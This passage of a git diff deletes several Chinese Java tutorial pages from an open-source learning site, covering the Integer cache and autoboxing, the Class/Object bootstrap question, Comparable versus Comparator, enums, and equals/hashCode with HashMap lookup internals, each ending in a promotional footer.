- i = Math.max(i, 127);
-
- // 设置 high 的值,但不能超过 Integer.MAX_VALUE - (-low) - 1
- h = Math.min(i, Integer.MAX_VALUE - (-low) - 1);
- high = h;
-
- // 初始化缓存数组,大小为 high - low + 1
- cache = new Integer[(high - low) + 1];
-
- // 填充缓存,从 low 开始,为每个值创建一个 Integer 对象
- int j = low;
- for(int k = 0; k < cache.length; k++)
- cache[k] = new Integer(j++);
-
- // 断言确保 high 的值至少为 127,这是 Java 语言规范要求的
- assert IntegerCache.high >= 127;
- }
-}
-```
-
-大致瞟一下这段代码你就全明白了。-128 到 127 之间的数会从 IntegerCache 中取,然后比较,所以第二段代码(100 在这个范围之内)的结果是 true,而第三段代码(200 不在这个范围之内,所以 new 出来了两个 Integer 对象)的结果是 false。
-
-“三妹,看完上面的分析之后,我希望你记住一点:**当需要进行自动装箱时,如果数字在 -128 至 127 之间时,会直接使用缓存中的对象,而不是重新创建一个对象**。”
-
-### 自动拆箱的注意事项
-
-“自动装拆箱是一个很好的功能,大大节省了我们开发人员的精力,但也会引发一些麻烦,比如下面这段代码,性能就很差。”
-
-```java
-long t1 = System.currentTimeMillis();
-Long sum = 0L;
-for (int i = 0; i < Integer.MAX_VALUE;i++) {
- sum += i;
-}
-long t2 = System.currentTimeMillis();
-System.out.println(t2-t1);
-```
-
-“知道为什么吗?三妹。”
-
-“难道是因为 sum 被声明成了包装类型 Long 而不是基本数据类型 long。”三妹若有所思。
-
-“是滴,由于 sum 是个 Long 型,而 i 为 int 类型,`sum += i` 在执行的时候,会先把 i 强转为 long 型,然后再把 sum 拆箱为 long 型进行相加操作,之后再自动装箱为 Long 型赋值给 sum。”
-
-等后面你学了 [javap](https://javabetter.cn/jvm/bytecode.html) 命令之后,就可以通过 `javap -v xxx.class` 命令来查看这段代码的执行过程。
-
-
-
-从这里面,你应该能看到 `Long.valueOf()` 和 `Long.longValue()` 的身影。它们分别对应了自动装箱和自动拆箱。
-
-“三妹,你可以试一下,把 sum 换成 long 型比较一下它们运行的时间。”
-
-。。。。。。
-
-“哇,sum 为 Long 型的时候,足足运行了 5825 毫秒;sum 为 long 型的时候,只需要 679 毫秒。”
-
-“好了,三妹,今天的主题就先讲到这吧。我再去来根华子。”
-
-### 总结
-
-今天我们讲了拆箱和装箱的概念,以及包装类型和基本数据类型之间的区别。最后,我们还讲了自动装箱和自动拆箱的原理,以及自动拆箱的注意事项。
-
-----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
\ No newline at end of file
diff --git a/docs/src/basic-extra-meal/class-object.md b/docs/src/basic-extra-meal/class-object.md
deleted file mode 100644
index b49fcb7627..0000000000
--- a/docs/src/basic-extra-meal/class-object.md
+++ /dev/null
@@ -1,113 +0,0 @@
----
-title: Java 中,先有Class还是先有Object?
-shortTitle: 先有Class还是先有Object?
-category:
- - Java核心
-tag:
- - Java重要知识点
-description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,Java 中,先有Class还是先有Object?
-head:
- - - meta
- - name: keywords
- content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,class,object
----
-
-
-
-Java 对象模型中:
-
-- 所有的类都是Class类的实例,Object是类,那么Object也是Class类的一个实例。
-- 所有的类都最终继承自Object类,Class是类,那么Class也继承自Object。
-
-那到底是先有Class还是先有Object? JVM 是怎么处理这个“鸡·蛋”问题呢?
-
-
-
-针对这个问题,我在知乎上看到了 R 大的一个回答,正好解答了我心中的疑惑,就分享出来给各位小伙伴一个参考和启发~
-
->作者:RednaxelaFX,整理:沉默王二,参考链接:[https://www.zhihu.com/question/30301819/answer/47539163](https://www.zhihu.com/question/30301819/answer/47539163)
-
------
-
-“鸡・蛋”问题通常都是通过一种叫“自举”(bootstrap)的过程来解决的。
-
-“鸡蛋问题”的根本矛盾就在于假定了“鸡”或“蛋”的其中一个要先进入“完全可用”的状态。而许多现实中被简化为“鸡蛋问题”的情况实际可以在“混沌”中把“鸡”和“蛋”都初始化好,而不存在先后问题;在它们初始化的过程中,两者都不处于“完全可用”状态,而完成初始化后它们就同时都进入了可用状态。
-
-打个比方,番茄炒蛋。并不是要先把番茄完全炒好,然后把鸡蛋完全炒好,然后把它们混起来;而是先炒番茄炒到半熟,再炒鸡蛋炒到半熟,然后把两个半熟的部分混在一起同时炒熟。
-
-对于**先有Class还是先有Object**这个问题来说,题主假设所有的类都是Class类的实例,Object是类,那么Object也是Class类的一个实例,这个假设就是错的。
-
-`java.lang.Object`是一个Java类,但并不是`java.lang.Class`的一个实例。后者只是一个用于描述Java类与接口的、用于支持反射操作的类型。这点上Java跟其它一些更纯粹的面向对象语言(例如Python和Ruby)不同。
-
-第二个假设“所有的类都最终继承自Object类,Class是类,那么Class也继承自Object”是对的,`java.lang.Class`是`java.lang.Object`的派生类,前者继承自后者。
-
-虽然第1个假设不对,但“鸡蛋问题”仍然存在:在一个已经启动完毕、可以使用的Java对象系统里,必须要有一个`java.lang.Class`实例对应`java.lang.Object`这个类;而`java.lang.Class`是`java.lang.Object`的派生类,按“一般思维”,前者应该要在后者完成初始化之后才可以初始化…
-
-事实是:这些相互依赖的核心类型完全可以在“混沌”中一口气都初始化好,然后对象系统的状态才叫做完成了“bootstrap”,后面就可以按照Java对象系统的一般规则去运行。JVM、JavaScript、Python、Ruby等的运行时都有这样的bootstrap过程。
-
-在“混沌”(boostrap过程)里,JVM可以为对象系统中最重要的一些核心类型先分配好内存空间,让它们进入[已分配空间]但[尚未完全初始化]状态。
-
-此时这些对象虽然已经分配了空间,但因为状态还不完整所以尚不可使用。然后,通过这些分配好的空间把这些核心类型之间的引用关系串好。
-
-到此为止所有动作都由JVM完成,尚未执行任何Java字节码。然后这些核心类型就进入了[完全初始化]状态,对象系统就可以开始自我运行下去,也就是可以开始执行Java字节码来进一步完成Java系统的初始化了。
-
-在HotSpot VM里,有一个叫做“Universe”的C++类用于记录对象系统的总体状态。它有这么两个有趣的字段记录当前是处于bootstrapping阶段还是已经完全初始化好:
-
-```
-static bool is_bootstrapping() { return _bootstrapping; }
-static bool is_fully_initialized() { return _fully_initialized; }
-```
-
-然后`Universe::genesis()`函数会在bootstrap阶段中创建核心类型的对象模型,其中会调用`SystemDictionary::initialize()`来初始化对象系统的核心类型,其中会进一步跑到`SystemDictionary::initialize_preloaded_classes()`来创建`java.lang.Object`、`java.lang.Class`等核心类型。
-
-这个函数在加载了`java.lang.Object`、`java.lang.Class`等核心类型后会调用`Universe::fixup_mirrors()`来完成前面说的“把引用关系串起来”的动作:
-
-```
-// Fixup mirrors for classes loaded before java.lang.Class.
-// These calls iterate over the objects currently in the perm gen
-// so calling them at this point is matters (not before when there
-// are fewer objects and not later after there are more objects
-// in the perm gen.
-Universe::initialize_basic_type_mirrors(CHECK);
-Universe::fixup_mirrors(CHECK);
-
-void Universe::fixup_mirrors(TRAPS) {
- // Bootstrap problem: all classes gets a mirror (java.lang.Class instance) assigned eagerly,
- // but we cannot do that for classes created before java.lang.Class is loaded. Here we simply
- // walk over permanent objects created so far (mostly classes) and fixup their mirrors. Note
- // that the number of objects allocated at this point is very small.
-
- // ...
-}
-```
-
-就是这样:“**Object里有一个成员变量指向Class类实例c,c保存这个Object成员、方法的名字和地址的Map映射用作反射**。”涉及到主类有这么几个:
-
-```
-http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/file/ade5be2b1758/src/share/vm/memory/universe.hpp#l399
-http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/file/ade5be2b1758/src/share/vm/memory/universe.cpp#l259
-http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/file/ade5be2b1758/src/share/vm/classfile/systemDictionary.cpp#l1814
-```
-
-分享的最后,二哥要简单说两句,每次看 R 大的内容,总是感觉膝盖忍不住要跪一下,只能说写过 JVM 的男人就是不一样。喜欢研究 CPP 源码的话小伙伴可以再深入学习下,一定会有所收获。
-
-----
-
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/docs/src/basic-extra-meal/comparable-omparator.md b/docs/src/basic-extra-meal/comparable-omparator.md
deleted file mode 100644
index 5660e96daf..0000000000
--- a/docs/src/basic-extra-meal/comparable-omparator.md
+++ /dev/null
@@ -1,200 +0,0 @@
----
-title: Java Comparable和Comparator的区别
-shortTitle: Comparable和Comparator的区别
-category:
- - Java核心
-tag:
- - Java重要知识点
-description: 本文详细解析了 Java 中的 Comparable 和 Comparator 接口的区别,包括它们的特点、使用场景和实际应用示例。阅读本文,将帮助您更清晰地了解 Comparable 和 Comparator 在 Java 编程中的角色,从而更灵活地使用它们进行对象排序。
-head:
- - - meta
- - name: keywords
- content: java,Comparable和Comparator,java Comparable, java Comparator,Comparable Comparator
----
-
->在前面学习[优先级队列](https://javabetter.cn/collection/PriorityQueue.html)的时候,我们曾提到过 Comparable和Comparator,那这篇继续以面试官的角度去切入,一起来看。
-
-那天,小二去马蜂窝面试,面试官老王一上来就甩给了他一道面试题:请问Comparable和Comparator有什么区别?小二差点笑出声,因为三年前,也就是 2021 年,他在《[二哥的Java进阶之路](https://javabetter.cn/basic-extra-meal/comparable-omparator.html)》上看到过这题😆。
-
-Comparable 和 Comparator 是 Java 的两个接口,从名字上我们就能够读出来它们俩的相似性:以某种方式来比较两个对象。
-
-但它们之间到底有什么区别呢?请随我来,打怪进阶喽!
-
-### 01、Comparable
-
-Comparable 接口的定义非常简单,源码如下所示。
-
-```java
-public interface Comparable {
- int compareTo(T t);
-}
-```
-
-如果一个类实现了 Comparable 接口(只需要干一件事,重写 `compareTo()` 方法),就可以按照自己制定的规则将由它创建的对象进行比较。下面给出一个例子。
-
-```java
-public class Cmower implements Comparable {
- private int age;
- private String name;
-
- public Cmower(int age, String name) {
- this.age = age;
- this.name = name;
- }
-
- @Override
- public int compareTo(Cmower o) {
- return this.getAge() - o.getAge();
- }
-
- public static void main(String[] args) {
- Cmower wanger = new Cmower(19,"沉默王二");
- Cmower wangsan = new Cmower(16,"沉默王三");
-
- if (wanger.compareTo(wangsan) < 0) {
- System.out.println(wanger.getName() + "比较年轻有为");
- } else {
- System.out.println(wangsan.getName() + "比较年轻有为");
- }
- }
-}
-```
-
-在上面的示例中,我创建了一个 Cmower 类,它有两个字段:age 和 name。Cmower 类实现了 Comparable 接口,并重写了 `compareTo()` 方法。
-
-程序输出的结果是“沉默王三比较年轻有为”,因为他比沉默王二小三岁。这个结果有什么凭证吗?
-
-凭证就在于 `compareTo()` 方法,该方法的返回值可能为负数,零或者正数,代表的意思是该对象按照排序的规则小于、等于或者大于要比较的对象。如果指定对象的类型与此对象不能进行比较,则引发 `ClassCastException` 异常(自从有了[泛型](https://javabetter.cn/basic-extra-meal/generic.html),这种情况就少有发生了)。
-
-### 02、Comparator
-
-Comparator 接口的定义相比较于 Comparable 就复杂的多了,不过,核心的方法只有两个,来看一下源码。
-
-```java
-public interface Comparator {
- int compare(T o1, T o2);
- boolean equals(Object obj);
-}
-```
-
-第一个方法 `compare(T o1, T o2)` 的返回值可能为负数,零或者正数,代表的意思是第一个对象小于、等于或者大于第二个对象。
-
-第二个方法 `equals(Object obj)` 需要传入一个 Object 作为参数,并判断该 Object 是否和 Comparator 保持一致。
-
-有时候,我们想让类保持它的原貌,不想主动实现 Comparable 接口,但我们又需要它们之间进行比较,该怎么办呢?
-
-Comparator 就派上用场了,来看一下示例。
-
-#### 1)原封不动的 Cmower 类。
-
-```java
-public class Cmower {
- private int age;
- private String name;
-
- public Cmower(int age, String name) {
- this.age = age;
- this.name = name;
- }
-}
-```
-
-Cmower 类有两个字段:age 和 name,意味着该类可以按照 age 或者 name 进行排序。
-
-#### 2)再来看 Comparator 接口的实现类。
-
-```java
-public class CmowerComparator implements Comparator {
- @Override
- public int compare(Cmower o1, Cmower o2) {
- return o1.getAge() - o2.getAge();
- }
-}
-```
-
-按照 age 进行比较。当然也可以再实现一个比较器,按照 name 进行自然排序,示例如下。
-
-```java
-public class CmowerNameComparator implements Comparator {
- @Override
- public int compare(Cmower o1, Cmower o2) {
- if (o1.getName().hashCode() < o2.getName().hashCode()) {
- return -1;
- } else if (o1.getName().hashCode() == o2.getName().hashCode()) {
- return 0;
- }
- return 1;
- }
-}
-```
-
-#### 3)再来看测试类。
-
-```java
-Cmower wanger = new Cmower(19,"沉默王二");
-Cmower wangsan = new Cmower(16,"沉默王三");
-Cmower wangyi = new Cmower(28,"沉默王一");
-
-List list = new ArrayList<>();
-list.add(wanger);
-list.add(wangsan);
-list.add(wangyi);
-
-list.sort(new CmowerComparator());
-
-for (Cmower c : list) {
- System.out.println(c.getName());
-}
-```
-
-创建了三个对象,age 不同,name 不同,并把它们加入到了 List 当中。然后使用 List 的 `sort()` 方法进行排序,来看一下输出的结果。
-
-```
-沉默王三
-沉默王二
-沉默王一
-```
-
-这意味着沉默王三的年纪比沉默王二小,排在第一位;沉默王一的年纪比沉默王二大,排在第三位。和我们的预期完全符合。
-
-借此机会,再来看一下 sort 方法的源码:
-
-```java
-public void sort(Comparator super E> c) {
- // 保存当前队列的 modCount 值,用于检测 sort 操作是否非法
- final int expectedModCount = modCount;
- // 调用 Arrays.sort 对 elementData 数组进行排序,使用传入的比较器 c
- Arrays.sort((E[]) elementData, 0, size, c);
- // 检查操作期间 modCount 是否被修改,如果被修改则抛出并发修改异常
- if (modCount != expectedModCount) {
- throw new ConcurrentModificationException();
- }
- // 增加 modCount 值,表示队列已经被修改过
- modCount++;
-}
-```
-
-可以看到,参数就是一个 Comparator 接口,并且使用了[泛型](https://javabetter.cn/basic-extra-meal/generic.html) `Comparator super E> c`。
-
-### 03、到底该用哪一个?
-
-通过上面的两个例子可以比较出 Comparable 和 Comparator 两者之间的区别:
-
-- 一个类实现了 Comparable 接口,意味着该类的对象可以直接进行比较(排序),但比较(排序)的方式只有一种,很单一。
-- 一个类如果想要保持原样,又需要进行不同方式的比较(排序),就可以定制比较器(实现 Comparator 接口)。
-- Comparable 接口在 `java.lang` 包下,而 `Comparator` 接口在 `java.util` 包下,算不上是亲兄弟,但可以称得上是表(堂)兄弟。
-
-举个不恰当的例子。我想从洛阳出发去北京看长城,体验一下好汉的感觉,要么坐飞机,要么坐高铁;但如果是孙悟空的话,翻个筋斗就到了。我和孙悟空之间有什么区别呢?
-
-孙悟空自己实现了 Comparable 接口(他那年代也没有飞机和高铁,没得选),而我可以借助 Comparator 接口(现代化的交通工具)。
-
-好了,关于 Comparable 和 Comparator 我们就先聊这么多。总而言之,如果对象的排序需要基于自然顺序,请选择 `Comparable`,如果需要按照对象的不同属性进行排序,请选择 `Comparator`。
-
-----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
\ No newline at end of file
diff --git a/docs/src/basic-extra-meal/enum.md b/docs/src/basic-extra-meal/enum.md
deleted file mode 100644
index 68eca8ebc6..0000000000
--- a/docs/src/basic-extra-meal/enum.md
+++ /dev/null
@@ -1,303 +0,0 @@
----
-title: Java枚举:小小enum,优雅而干净
-shortTitle: Java枚举(enum)
-category:
- - Java核心
-tag:
- - Java重要知识点
-description: 本文全面介绍了Java枚举的概念、基础语法、高级应用以及在实际项目中的应用。通过详细的示例和解释,帮助读者深入理解枚举类型的使用
-head:
- - - meta
- - name: keywords
- content: Java,枚举,enum,java 枚举,java enum
----
-
-“今天我们来学习枚举吧,三妹!”我说,“同学让你去她家玩了两天,感觉怎么样呀?”
-
-“心情放松了不少。”三妹说,“可以开始学 Java 了,二哥。”
-
-“OK。”
-
-“枚举(enum),是 Java 1.5 时引入的关键字,它表示一种特殊类型的类,继承自 java.lang.Enum。”
-
-“我们来新建一个枚举 PlayerType。”
-
-```java
-public enum PlayerType {
- TENNIS,
- FOOTBALL,
- BASKETBALL
-}
-```
-
-“二哥,我没看到有继承关系呀!”
-
-“别着急,看一下反编译后的字节码,你就明白了。”
-
-```java
-public final class PlayerType extends Enum
-{
-
- public static PlayerType[] values()
- {
- return (PlayerType[])$VALUES.clone();
- }
-
- public static PlayerType valueOf(String name)
- {
- return (PlayerType)Enum.valueOf(com/cmower/baeldung/enum1/PlayerType, name);
- }
-
- private PlayerType(String s, int i)
- {
- super(s, i);
- }
-
- public static final PlayerType TENNIS;
- public static final PlayerType FOOTBALL;
- public static final PlayerType BASKETBALL;
- private static final PlayerType $VALUES[];
-
- static
- {
- TENNIS = new PlayerType("TENNIS", 0);
- FOOTBALL = new PlayerType("FOOTBALL", 1);
- BASKETBALL = new PlayerType("BASKETBALL", 2);
- $VALUES = (new PlayerType[] {
- TENNIS, FOOTBALL, BASKETBALL
- });
- }
-}
-```
-
-“看到没?Java 编译器帮我们做了很多隐式的工作,不然手写一个枚举就没那么省心省事了。”
-
-- 要继承 Enum 类;
-- 要写构造方法;
-- 要声明静态变量和数组;
-- 要用 static 块来初始化静态变量和数组;
-- 要提供静态方法,比如说 `values()` 和 `valueOf(String name)`。
-
-“确实,作为开发者,我们的代码量减少了,枚举看起来简洁明了。”三妹说。
-
-“既然枚举是一种特殊的类,那它其实是可以定义在一个类的内部的,这样它的作用域就可以限定于这个外部类中使用。”我说。
-
-```java
-public class Player {
- private PlayerType type;
- public enum PlayerType {
- TENNIS,
- FOOTBALL,
- BASKETBALL
- }
-
- public boolean isBasketballPlayer() {
- return getType() == PlayerType.BASKETBALL;
- }
-
- public PlayerType getType() {
- return type;
- }
-
- public void setType(PlayerType type) {
- this.type = type;
- }
-}
-```
-
-PlayerType 就相当于 Player 的内部类。
-
-由于枚举是 final 的,所以可以确保在 Java 虚拟机中仅有一个常量对象,基于这个原因,我们可以使用“==”运算符来比较两个枚举是否相等,参照 `isBasketballPlayer()` 方法。
-
-“那为什么不使用 `equals()` 方法判断呢?”三妹问。
-
-```java
-if(player.getType().equals(Player.PlayerType.BASKETBALL)){};
-```
-
-“我来给你解释下。”
-
-“==”运算符比较的时候,如果两个对象都为 null,并不会发生 `NullPointerException`,而 `equals()` 方法则会。
-
-另外, “==”运算符会在编译时进行检查,如果两侧的类型不匹配,会提示错误,而 `equals()` 方法则不会。
-
-
-
-“枚举还可用于 switch 语句,和基本数据类型的用法一致。”我说。
-
-```java
-switch (playerType) {
- case TENNIS:
- return "网球运动员费德勒";
- case FOOTBALL:
- return "足球运动员C罗";
- case BASKETBALL:
- return "篮球运动员詹姆斯";
- case UNKNOWN:
- throw new IllegalArgumentException("未知");
- default:
- throw new IllegalArgumentException(
- "运动员类型: " + playerType);
-
-}
-```
-
-“如果枚举中需要包含更多信息的话,可以为其添加一些字段,比如下面示例中的 name,此时需要为枚举添加一个带参的构造方法,这样就可以在定义枚举时添加对应的名称了。”我继续说。
-
-```java
-public enum PlayerType {
- TENNIS("网球"),
- FOOTBALL("足球"),
- BASKETBALL("篮球");
-
- private String name;
-
- PlayerType(String name) {
- this.name = name;
- }
-}
-```
-
-“get 了吧,三妹?”
-
-“嗯,比较好理解。”
-
-“那接下来,我就来说点不一样的。”
-
-“来吧,我准备好了。”
-
-“EnumSet 是一个专门针对枚举类型的 [Set 接口](https://javabetter.cn/collection/gailan.html)(后面会讲)的实现类,它是处理枚举类型数据的一把利器,非常高效。”我说,“从名字上就可以看得出,EnumSet 不仅和 Set 有关系,和枚举也有关系。”
-
-“因为 EnumSet 是一个抽象类,所以创建 EnumSet 时不能使用 new 关键字。不过,EnumSet 提供了很多有用的静态工厂方法。”
-
-
-
-“来看下面这个例子,我们使用 `noneOf()` 静态工厂方法创建了一个空的 PlayerType 类型的 EnumSet;使用 `allOf()` 静态工厂方法创建了一个包含所有 PlayerType 类型的 EnumSet。”
-
-```java
-public class EnumSetTest {
- public enum PlayerType {
- TENNIS,
- FOOTBALL,
- BASKETBALL
- }
-
- public static void main(String[] args) {
- EnumSet enumSetNone = EnumSet.noneOf(PlayerType.class);
- System.out.println(enumSetNone);
-
- EnumSet enumSetAll = EnumSet.allOf(PlayerType.class);
- System.out.println(enumSetAll);
- }
-}
-```
-
-“来看一下输出结果。”
-
-```java
-[]
-[TENNIS, FOOTBALL, BASKETBALL]
-```
-
-有了 EnumSet 后,就可以使用 Set 的一些方法了,见下图。
-
-
-
-“除了 EnumSet,还有 EnumMap,是一个专门针对枚举类型的 Map 接口的实现类,它可以将枚举常量作为键来使用。EnumMap 的效率比 HashMap 还要高,可以直接通过数组下标(枚举的 ordinal 值)访问到元素。”
-
-“和 EnumSet 不同,EnumMap 不是一个抽象类,所以创建 EnumMap 时可以使用 new 关键字。”
-
-```java
-EnumMap enumMap = new EnumMap<>(PlayerType.class);
-```
-
-有了 EnumMap 对象后就可以使用 Map 的一些方法了,见下图。
-
-
-
-和 [HashMap](https://javabetter.cn/collection/hashmap.html)(后面会讲)的使用方法大致相同,来看下面的例子。
-
-```java
-EnumMap enumMap = new EnumMap<>(PlayerType.class);
-enumMap.put(PlayerType.BASKETBALL,"篮球运动员");
-enumMap.put(PlayerType.FOOTBALL,"足球运动员");
-enumMap.put(PlayerType.TENNIS,"网球运动员");
-System.out.println(enumMap);
-
-System.out.println(enumMap.get(PlayerType.BASKETBALL));
-System.out.println(enumMap.containsKey(PlayerType.BASKETBALL));
-System.out.println(enumMap.remove(PlayerType.BASKETBALL));
-```
-
-“来看一下输出结果。”
-
-```
-{TENNIS=网球运动员, FOOTBALL=足球运动员, BASKETBALL=篮球运动员}
-篮球运动员
-true
-篮球运动员
-```
-
-“除了以上这些,《Effective Java》这本书里还提到了一点,如果要实现单例的话,最好使用枚举的方式。”我说。
-
-“等等二哥,单例是什么?”三妹没等我往下说,就连忙问道。
-
-“单例(Singleton)用来保证一个类仅有一个对象,并提供一个访问它的全局访问点,在一个进程中。因为这个类只有一个对象,所以就不能再使用 `new` 关键字来创建新的对象了。”
-
-“Java 标准库有一些类就是单例,比如说 Runtime 这个类。”
-
-```java
-Runtime runtime = Runtime.getRuntime();
-```
-
-“Runtime 类可以用来获取 Java 程序运行时的环境。”
-
-“关于单例,懂了些吧?”我问三妹。
-
-“噢噢噢噢。”三妹点了点头。
-
-“通常情况下,实现单例并非易事,来看下面这种写法。”
-
-```java
-public class Singleton {
- private volatile static Singleton singleton;
- private Singleton (){}
- public static Singleton getSingleton() {
- if (singleton == null) {
- synchronized (Singleton.class) {
- if (singleton == null) {
- singleton = new Singleton();
- }
- }
- }
- return singleton;
- }
-}
-```
-
-“要用到 [volatile](https://javabetter.cn/thread/volatile.html)、[synchronized](https://javabetter.cn/thread/synchronized-1.html) 关键字等等,但枚举的出现,让代码量减少到极致。”
-
-```java
-public enum EasySingleton{
- INSTANCE;
-}
-```
-
-“就这?”三妹睁大了眼睛。
-
-“对啊,枚举默认实现了 [Serializable 接口](https://javabetter.cn/io/Serializbale.html),因此 Java 虚拟机可以保证该类为单例,这与传统的实现方式不大相同。传统方式中,我们必须确保单例在反序列化期间不能创建任何新实例。”我说。
-
-“好了,关于枚举就讲这么多吧,三妹,你把这些代码都手敲一遍吧!”
-
-“好勒,这就安排。二哥,你去休息吧。”
-
-“嗯嗯。”讲了这么多,必须跑去抽烟机那里安排一根华子了。
-
-----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
diff --git a/docs/src/basic-extra-meal/equals-hashcode.md b/docs/src/basic-extra-meal/equals-hashcode.md
deleted file mode 100644
index ec6fed72e0..0000000000
--- a/docs/src/basic-extra-meal/equals-hashcode.md
+++ /dev/null
@@ -1,268 +0,0 @@
----
-title: 为什么重写equals方法的时候必须要重写hashCode方法?
-shortTitle: 为什么重写equals的时候必须重写hashCode
-category:
- - Java核心
-tag:
- - Java重要知识点
-description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,为什么重写equals方法的时候必须要重写hashCode方法
-head:
- - - meta
- - name: keywords
- content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,hashcode,equals
----
-
-“二哥,我在读《Effective Java》 的时候,第 11 条规约说重写 equals 的时候必须要重写 hashCode 方法,这是为什么呀?”三妹单刀直入地问。
-
-“三妹啊,这个问题问得非常好,因为它也是面试中经常考的一个知识点。今天哥就带你来梳理一下。”我说。
-
-Java 是一门面向对象的编程语言,所有的类都会默认继承自 [Object 类](https://javabetter.cn/oo/object-class.html),而 Object 的中文意思就是“对象”。
-
-Object 类中有这么两个方法:
-
-```java
-public native int hashCode();
-
-public boolean equals(Object obj) {
- return (this == obj);
-}
-```
-
-**1)hashCode 方法**
-
-这是一个本地方法,用来返回对象的哈希值(一个整数)。在 Java 程序执行期间,对同一个对象多次调用该方法必须返回相同的哈希值。
-
-**2)equals 方法**
-
-对于任何非空引用 x 和 y,当且仅当 x 和 y 引用的是同一个对象时,equals 方法才返回 true。
-
-“二哥,看起来两个方法之间没有任何关联啊?”三妹质疑道。
-
-“单从这两段解释上来看,的确是这样的。”我解释道,“但两个方法的 doc 文档中还有这样两条信息。”
-
-第一,如果两个对象调用 equals 方法返回的结果为 true,那么两个对象调用 hashCode 方法返回的结果也必然相同——来自 hashCode 方法的 doc 文档。
-
-第二,每当重写 [equals 方法](https://javabetter.cn/string/equals.html)时,[hashCode 方法](https://javabetter.cn/basic-extra-meal/hashcode.html)也需要重写,以便维护上一条规约。
-
-“哦,这样讲的话,两个方法确实关联上了,但究竟是为什么呢?”三妹抛出了终极一问。
-
-“hashCode 方法的作用是用来获取哈希值,而该哈希值的作用是用来确定[对象在哈希表中的索引位置(HashMap 的时候会讲)](https://javabetter.cn/collection/hashmap.html)。”我说。
-
-哈希表的典型代表就是 [HashMap](https://javabetter.cn/collection/hashmap.html),它存储的是键值对,能根据键快速地检索出对应的值。
-
-```java
-public V get(Object key) {
- HashMap.Node e;
- return (e = getNode(hash(key), key)) == null ? null : e.value;
-}
-```
-
-这是 HashMap 的 get 方法,通过键来获取值的方法。它会调用 getNode 方法:
-
-```java
-final HashMap.Node getNode(int hash, Object key) {
- HashMap.Node[] tab; HashMap.Node first, e; int n; K k;
- // 判断 HashMap 的 table 是否为 null 以及 table 长度是否大于 0
- if ((tab = table) != null && (n = tab.length) > 0 &&
- // 根据 hash 值计算出在 table 中的索引位置,并获取第一个节点
- (first = tab[(n - 1) & hash]) != null) {
- // 判断第一个节点的 hash 值是否与给定 hash 相等,如果相等,则检查 key 是否相等
- if (first.hash == hash &&
- ((k = first.key) == key || (key != null && key.equals(k))))
- return first;
- // 如果不相等,获取当前节点的下一个节点
- if ((e = first.next) != null) {
- // 如果当前节点为 TreeNode 类型(红黑树),则调用 TreeNode 的 getTreeNode 方法查找
- if (first instanceof HashMap.TreeNode)
- return ((HashMap.TreeNode)first).getTreeNode(hash, key);
- // 如果不是红黑树节点,遍历链表查找
- do {
- if (e.hash == hash &&
- ((k = e.key) == key || (key != null && key.equals(k))))
- return e;
- } while ((e = e.next) != null);
- }
- }
- // 如果没有找到对应的节点,则返回 null
- return null;
-}
-```
-
-通常情况(没有发生哈希冲突)下,`first = tab[(n - 1) & hash]` 就是键对应的值。**按照时间复杂度来说的话,可表示为 O(1)**。
-
-如果发生哈希冲突,也就是 `if ((e = first.next) != null) {}` 子句中,可以看到如果节点不是红黑树的时候,会通过 do-while 循环语句判断键是否 equals 返回对应值的。**按照时间复杂度来说的话,可表示为 O(n)**。
-
-HashMap 是通过拉链法来解决哈希冲突的,也就是如果发生哈希冲突,同一个键的坑位会放好多个值,超过 8 个值后改为红黑树,为了提高查询的效率。
-
-显然,从时间复杂度上来看的话 O(n) 比 O(1) 的性能要差,这也正是哈希表的价值所在。
-
-“O(n) 和 O(1) 是什么呀?”三妹有些不解。
-
-“这是[时间复杂度](https://javabetter.cn/collection/time-complexity.html)的一种表示方法,随后二哥专门给你讲一下。简单说一下 n 和 1 的意思,很显然,n 和 1 都代表的是代码执行的次数,假如数据规模为 n,n 就代表需要执行 n 次,1 就代表只需要执行一次。”我解释道。
-
